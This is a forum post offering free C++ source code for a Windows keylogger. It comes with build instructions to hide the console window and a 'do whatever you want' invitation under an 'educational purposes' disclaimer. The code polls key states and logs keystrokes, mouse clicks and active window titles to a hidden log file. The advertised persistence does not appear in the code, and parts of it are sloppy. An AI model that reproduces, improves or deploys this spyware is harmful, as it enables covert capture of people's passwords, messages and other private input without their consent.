0mll
Ad Story Specialist
2
MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1
500 XP
Here's a free release of a Keylogger I wrote in C++ with the following features using the windows api:
- All Keystroke Detection
- Runs in Background
- Persistence
Below I have attacthed the c++ code. If you want to compile it into an executable file, use MiniGW with the -mwindows flag to build the project without a terminal window. The keylogger logs all keystroke into a log.txt file in the same directory. Do whatever you want with the code, this is for edeucational purpopses.
- All Keystroke Detection
- Runs in Background
- Persistence
Below I have attacthed the c++ code. If you want to compile it into an executable file, use MiniGW with the -mwindows flag to build the project without a terminal window. The keylogger logs all keystroke into a log.txt file in the same directory. Do whatever you want with the code, this is for edeucational purpopses.
Code:
#include <fstream>
#include <string>
#include <windows.h>
#include <iostream>
using namespace std;
void printCharToFile(ofstream& output, char character)
{
output.open("log.txt", std::ios::app);
std::cout << character;
output << character;
output.close();
}
void printStringToFile(ofstream& output, string character)
{
output.open("log.txt", std::ios::app);
std::cout << character;
output << character;
output.close();
}
//Check Possibilities for Lowercase Letters
string lowercase(int key)
{
if (key == 0x41) { return "a"; }
if (key == 0x42) { return "b"; }
if (key == 0x43) { return "c"; }
if (key == 0x44) { return "d"; }
if (key == 0x45) { return "e"; }
if (key == 0x46) { return "f"; }
if (key == 0x47) { return "g"; }
if (key == 0x48) { return "h"; }
if (key == 0x49) { return "i"; }
if (key == 0x4A) { return "j"; }
if (key == 0x4B) { return "k"; }
if (key == 0x4C) { return "l"; }
if (key == 0x4D) { return "m"; }
if (key == 0x4E) { return "n"; }
if (key == 0x4F) { return "o"; }
if (key == 0x50) { return "p"; }
if (key == 0x51) { return "q"; }
if (key == 0x52) { return "r"; }
if (key == 0x53) { return "s"; }
if (key == 0x54) { return "t"; }
if (key == 0x55) { return "u"; }
if (key == 0x56) { return "v"; }
if (key == 0x57) { return "w"; }
if (key == 0x58) { return "x"; }
if (key == 0x59) { return "y"; }
if (key == 0x5A) { return "z"; }
}
string special(int key)
{
if (key == 0x30) { return ")"; }
if (key == 0x31) { return "!"; }
if (key == 0x32) { return "@"; }
if (key == 0x33) { return "#"; }
if (key == 0x34) { return "$"; }
if (key == 0x35) { return "%"; }
if (key == 0x36) { return "^"; }
if (key == 0x37) { return "&"; }
if (key == 0x38) { return "*"; }
if (key == 0x39) { return "("; }
}
string otherShift(int key)
{
if (key == 0xBA) { return ":"; }
if (key == 0xBB) { return "+"; }
if (key == 0xBC) { return "<"; }
if (key == 0xBD) { return "_"; }
if (key == 0xBE) { return ">"; }
if (key == 0xBF) { return "?"; }
if (key == 0xC0) { return "~"; }
if (key == 0xDB) { return "{"; }
if (key == 0xDC) { return "|"; }
if (key == 0xDD) { return "}"; }
}
string other(int key)
{
if (key == 0xBA) { return ";"; }
if (key == 0xBB) { return "="; }
if (key == 0xBC) { return ","; }
if (key == 0xBD) { return "-"; }
if (key == 0xBE) { return "."; }
if (key == 0xBF) { return "/"; }
if (key == 0xC0) { return "`"; }
if (key == 0xDB) { return "["; }
if (key == 0xDC) { return "\."; }
if (key == 0xDD) { return "]"; }
}
string getActiveWindowTitle()
{
char wnd_title[256];
HWND hwnd = GetForegroundWindow(); // get handle of currently active window
GetWindowTextA(hwnd, wnd_title, sizeof(wnd_title));
return wnd_title;
}
int main()
{
std::ofstream output;
output.open("log.txt", std::ios::app);
output.close();
while (true)
{
for (int i = 0; i < 256; i++)
{
if (GetAsyncKeyState(i) & 0b1)
{
if (i == 0xDE)
{
break;
}
//Numbers
if (i >= 0x30 && i <= 0x39)
{
if (GetAsyncKeyState(VK_SHIFT) & 0x8000)
{
printStringToFile(output, special(i));
}
else
{
printCharToFile(output, (char)i);
}
}
//Capital and Lowercase Alphabet
if (i >= 0x41 && i <= 0x5A)
{
if (GetAsyncKeyState(VK_SHIFT))
{
printCharToFile(output, (char)i);
}
else
{
printStringToFile(output, lowercase(i));
}
}
//Special Keys
if (i == VK_SPACE) { printStringToFile(output, " "); }
if (i == VK_RETURN) { printStringToFile(output, "[RETURN]\n"); }
if (i == VK_LBUTTON)
{
printStringToFile(output, "[LEFT CLICK]\n");
printStringToFile(output, "New Window Detected: ");
printStringToFile(output, getActiveWindowTitle());
printStringToFile(output, "\n");
}
if (i == VK_RBUTTON) { printStringToFile(output, "[RIGHT CLICK]\n"); }
if (i == VK_BACK) { printStringToFile(output, "[BACKSPACE]"); }
if (i == VK_OEM_PERIOD) { printStringToFile(output, "."); }
if (i == VK_OEM_COMMA) { printStringToFile(output, ","); }
if (i == VK_OEM_MINUS) { printStringToFile(output, "-"); }
if (i == VK_OEM_PLUS) { printStringToFile(output, "+"); }
if (i >= 0xBA && i <= 0xDD)
{
if (GetAsyncKeyState(VK_SHIFT))
{
printStringToFile(output, otherShift(i));
}
else
{
printStringToFile(output, other(i));
}
}
}
}
Sleep(0.5);
}
}